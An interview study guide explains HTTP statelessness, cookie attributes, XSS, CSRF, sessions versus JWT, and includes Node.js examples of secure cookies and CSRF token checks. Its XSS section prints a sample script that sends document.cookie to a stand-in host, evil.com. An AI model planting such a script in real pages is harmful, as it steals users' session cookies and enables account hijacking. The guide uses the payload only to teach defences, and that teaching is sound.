SDE-1 Complete Master Guide: Cookies, HTTP, Security & JWT

1. What is HTTP?

HTTP (HyperText Transfer Protocol) is a stateless request-response protocol used between client (browser) and serv

Stateless means:
- Server does NOT remember previous requests.
- Every request is independent.

Example:
Client → GET /profile
Server → 200 OK + HTML

Because HTTP is stateless, we need Cookies to maintain login state.

2. What Are Cookies?

Cookies are small pieces of data stored in the browser.
They are automatically sent with every request to the same domain.

Used for:
- Maintaining user sessions
- Storing authentication tokens
- Saving user preferences
- Tracking users (analytics, ads)

Cookies are stored client-side.

3. How Cookies Work (Login Flow)

1. User logs in.
2. Server verifies credentials.
3. Server creates session ID.
4. Server sends: Set-Cookie: sessionId=abc123
5. Browser stores cookie.
6. Future requests send: Cookie: sessionId=abc123
7. Server validates session.

Important:
Cookies store session ID, but actual session data is stored on server.

4. Important Cookie Attributes

HttpOnly → JavaScript cannot access cookie (prevents XSS).
Secure → Sent only over HTTPS.
SameSite → Controls cross-site sending (prevents CSRF).
Expires/Max-Age → Expiration time.
Domain → Allowed domain.
Path → URL restriction.

5. What is Secure?

Secure means the cookie will only be sent over HTTPS.
HTTP = Plain text.
HTTPS = Encrypted via SSL/TLS.

Prevents cookie theft over public WiFi.

6. What is XSS? (Cross-Site Scripting)

XSS occurs when attacker injects malicious JavaScript into a webpage.

Example attack:
<script>
fetch("https://evil.com?cookie=" + document.cookie)
</script>

If cookie is not HttpOnly:
- JS reads document.cookie
- Attacker steals session
- Session hijacking occurs

Solution:
- HttpOnly
- Input sanitization
- CSP headers.

7. What is CSRF? (Cross-Site Request Forgery)

CSRF tricks a logged-in user into making unintended requests.

Flow:
1. User logged into bank.com
2. User visits evil.com
3. Evil site submits POST to bank.com
4. Browser auto-sends cookie

5. Bank thinks request is legitimate

Solution:
- SameSite cookies
- CSRF tokens
- Server-side validation.

8. SameSite Attribute Explained

SameSite controls cross-site cookie sending.

Strict → Only same-site requests allowed (most secure).
Lax → Allows safe top-level navigation (default).
None → Allows cross-site but MUST use Secure.

Prevents CSRF by stopping automatic cookie sending.

9. Cookies vs Sessions

Cookies:
- Stored in browser
- Size limit ~4KB
- Can be modified unless protected

Sessions:
- Stored on server
- More secure
- Requires server storage (DB/Redis)

10. Cookies vs localStorage

Cookies:
- Sent automatically with requests
- Used for authentication
- Small size

localStorage:
- Not auto-sent
- Larger storage (~5-10MB)
- Used for client-side data

11. Session-Based Authentication

Server creates sessionId.
Stores session in DB/Redis:
sessionId → user data

Browser stores sessionId in cookie.
Each request → DB lookup required.

Scaling issue:
- Shared Redis needed
- Sticky sessions required

12. JWT Authentication (Stateless)

JWT = header.payload.signature

Payload contains:
- userId
- role
- expiry

Server verifies signature only.
No DB lookup.
No session storage.

Stateless → Scales better in distributed systems.

13. Why JWT Scales Better

Imagine 10 servers behind load balancer.

Session-based:
- Need shared Redis
- Extra DB lookup

JWT-based:
- Any server validates token
- No shared storage
- Better scalability

14. Rapid-Fire Interview Questions

1. Why are cookies needed?
2. Difference between HttpOnly and Secure?
3. How does XSS steal cookies?
4. How does CSRF work?

5. Why is JWT stateless?
6. What happens if SameSite=Strict?
7. Cookie size limit?
8. Difference between cookies and localStorage?

15. Backend Secure Cookie Example (Node.js)

```
res.cookie("sessionId", sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: "lax",
  maxAge: 1000 * 60 * 60
});
```

16. CSRF Token Validation Example

```
const csrfToken = crypto.randomBytes(32).toString("hex");
res.cookie("csrfToken", csrfToken);

if (req.headers["x-csrf-token"] !== req.cookies.csrfToken) {
  return res.status(403).send("CSRF attack detected");
}
```

17. SameSite vs CSRF Token Comparison

SameSite:
- Browser-level protection
- Medium security

CSRF Token:
- Server-side validation
- High security

Best practice:
Use HttpOnly + Secure + SameSite + CSRF Token.

18. 30-Second Perfect Interview Answer

Cookies are small pieces of data stored in the browser that help maintain state in HTTP, which is stateless. They are

19. Final Interview Tip

When asked to explain login flow:

1. Client sends credentials.
2. Server verifies.
3. Server creates session ID.
4. Sends cookie.
5. Browser stores it.
6. Browser sends cookie in future requests.
7. Server validates.

Clear structured explanation impresses interviewers.